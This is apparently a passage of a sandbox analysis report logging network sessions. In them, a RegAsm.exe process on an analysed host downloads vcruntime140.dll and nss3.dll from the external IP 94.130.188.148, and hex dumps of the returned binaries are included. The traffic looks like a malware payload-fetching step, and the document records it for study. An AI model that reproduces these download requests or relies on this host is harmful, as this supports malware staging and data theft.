2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 Data Ascii: ]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 Data Ascii: u ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 Data Ascii: uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c Data Ascii: ]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|
2024-08-30 01:18:15 UTC	16384	IN	Data Raw: c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49791	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:16 UTC	230	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:17 UTC	259	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:16 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Friday, 30-Aug-2024 01:18:16 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-30 01:18:17 UTC	16125	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-08-30 01:18:17 UTC	16384	IN	Data Raw: 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 Data Ascii: t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;B
2024-08-30 01:18:17 UTC	16384	IN	Data Raw: 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 Data Ascii: EEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt
2024-08-30 01:18:17 UTC	16384	IN	Data Raw: c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-08-30 01:18:17 UTC	15603	IN	Data Raw: 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f Data Ascii: @L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicroso

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49792	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:18 UTC	222	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:18 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:18 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Friday, 30-Aug-2024 01:18:18 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-30 01:18:18 UTC	16123	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQ
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b Data Ascii: Q=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d Data Ascii: @;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 Data Ascii: %D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 Data Ascii: 8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-Mm
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 Data Ascii: `P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rtt
2024-08-30 01:18:18 UTC	16384	IN	Data Raw: 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49793	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

